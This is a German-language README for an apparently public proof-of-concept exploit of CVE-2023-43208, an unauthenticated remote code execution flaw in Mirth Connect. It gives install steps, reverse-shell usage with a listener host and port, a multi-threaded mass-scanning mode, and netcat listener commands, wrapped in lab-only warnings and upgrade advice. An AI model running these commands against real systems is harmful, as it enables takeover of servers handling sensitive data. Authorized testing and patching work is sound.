CVE-2023-43208-EXPLOIT

Mirth Connect Remotecodeausführung (RCE) Exploit

⚠️ NUR FÜR BILDUNGSZWECKE UND LABORNUTZUNG ⚠️

Ein Proof-of-Concept-Exploit für CVE-2023-43208, eine Remotecodeausführung-Sicherheitslücke in Mirth Connect vor Version 4.4.1.

🚨 WICHTIGER RECHTLICHER HINWEIS

Dieses Tool ist ausschließlich bestimmt für:

• 🧪 Bildungszwecke
• 🔬 Autorisierte Sicherheitstests in Laborumgebungen
• 📚 Cybersicherheitsforschung und -lernen

NICHT VERWENDEN:

• ❌ Gegen Systeme, die dir nicht gehören
• ❌ Ohne ausdrückliche schriftliche Genehmigung
• ❌ In Produktionsumgebungen
• ❌ Für illegale oder böswillige Zwecke

Du bist dafür verantwortlich, alle geltenden Gesetze und Vorschriften einzuhalten. Missbrauch dieses Tools kann zu strafrechtlichen Konsequenzen führen.

📋 Beschreibung

Dieser Exploit zielt auf die XML-Deserialisierungssicherheitslücke im /api/users-Endpunkt von Mirth Connect ab, die eine nicht authentifizierte Remotecodeausführung auf betroffenen Versionen (< 4.4.1) ermöglicht.

Dies ist eine KRITISCHE Sicherheitslücke und sollte NUR in isolierten Laborumgebungen mit eigenen Systemen getestet werden.

🔧 Voraussetzungen

• Python 3.7 oder höher
• Erforderliche Pakete, die in requirements.txt aufgeführt sind
• EINE LABORUMGEBUNG mit einer anfälligen Mirth-Connect-Instanz

🚀 Installation

# Clone the repository
git clone https://github.com/M0h4/CVE-2023-43208-EXPLOIT.git
cd CVE-2023-43208-EXPLOIT

# Install requirements
pip install -r requirements.txt

💻 Verwendung (NUR FÜR LABORZUWECK)

Interaktiver Modus (für Labor empfohlen)

python exploit.py

Befehlszeilenmodus

# Einzelziel-Ausnutzung (NUR FÜR LABORZUWECK)
python exploit.py -u https://target:8443 -lh 10.10.14.5 -lp 4444

# Mehrere Ziele aus Datei scannen (NUR FÜR LABORZUWECK)
python exploit.py -f targets.txt -t 50 -o vulnerable.txt

# Nicht-interaktiver Modus (NUR FÜR LABORZUWECK)
python exploit.py -u https://target:8443 -lh 10.10.14.5 -lp 4444 --no-interactive

Optionen

-u, --url       Ziel-URL zum Ausnutzen (NUR FÜR LABORZUWECK)
-lh, --lhost    Lauschhost (deine IP)
-lp, --lport    Lauschport
-f, --file      Datei mit Ziel-URLs zum Scannen
-o, --output    Ausgabedatei zum Speichern der Scanergebnisse
-t, --threads   Anzahl der Threads zum Scannen (Standard: 50)
--no-interactive Im nicht-interaktiven Modus ausführen

🎯 Beispiel für eine Laborumgebung

Richte dein Labor ein:

• Installiere eine anfällige Mirth-Connect-Version (< 4.4.1) in einer isolierten VM
• Verwende ein kontrolliertes Netzwerk (z. B. NAT/Host-only in VirtualBox/VMware)
• Nie dem Internet aussetzen

Starte deinen Listener:

ncat -lnvp 4444
# oder
nc -lnvp 4444

Führe den Exploit in deinem Labor aus:

python exploit.py -u https://192.168.1.100:8443 -lh 192.168.1.50 -lp 4444

🧪 Anforderungen an die Testumgebung

• Isoliertes Netzwerk/VLAN
• Nur virtuelle Maschinen
• Keine Produktionsdaten
• Firewall-Regeln, die externen Zugriff blockieren
• Dokumentierte ordnungsgemäße Autorisierung

📝 Technische Details

• Sicherheitslückentyp: XML-Deserialisierung RCE
• Betroffene Versionen: Mirth Connect < 4.4.1
• Behobene Version: 4.4.1 und höher
• CVSS-Score: 9.8 (Kritisch)
• Angriffsvektor: Netzwerk
• Authentifizierung: Keine erforderlich

Der Exploit verwendet Commons-Collections-Gadgets, um RCE über den /api/users-Endpunkt zu erreichen.

🛡️ Schutzmaßnahmen

Wenn du Mirth Connect betreibst:

• ✅ Aktualisiere auf Version 4.4.1 oder später
• ✅ Beschränke den Netzwerkzugriff auf Administrationsschnittstellen
• ✅ Implementiere eine ordnungsgemäße Authentifizierung
• ✅ Überwache auf verdächtige XML-Nutzlasten

👥 Danksagungen

• Ursprüngliche Autoren: K3ysTr0K3R & Chocapikk
• Modifiziert von: M0h4
• CVE: CVE-2023-43208

⚠️ ABSCHLIESSENDE WARNUNG

╔══════════════════════════════════════════════════════════════╗ ║ DIESES TOOL IST NUR FÜR LABORZUWECK ║ ║ Unautorisierte Nutzung ist ILLEGAL und UNETHISCH ║ ║ Du übernimmst das GESAMTE Risiko und die Haftung ║ ║ Der Autor übernimmt KEINE Verantwortung für Missbrauch ║ ╚══════════════════════════════════════════════════════════════╝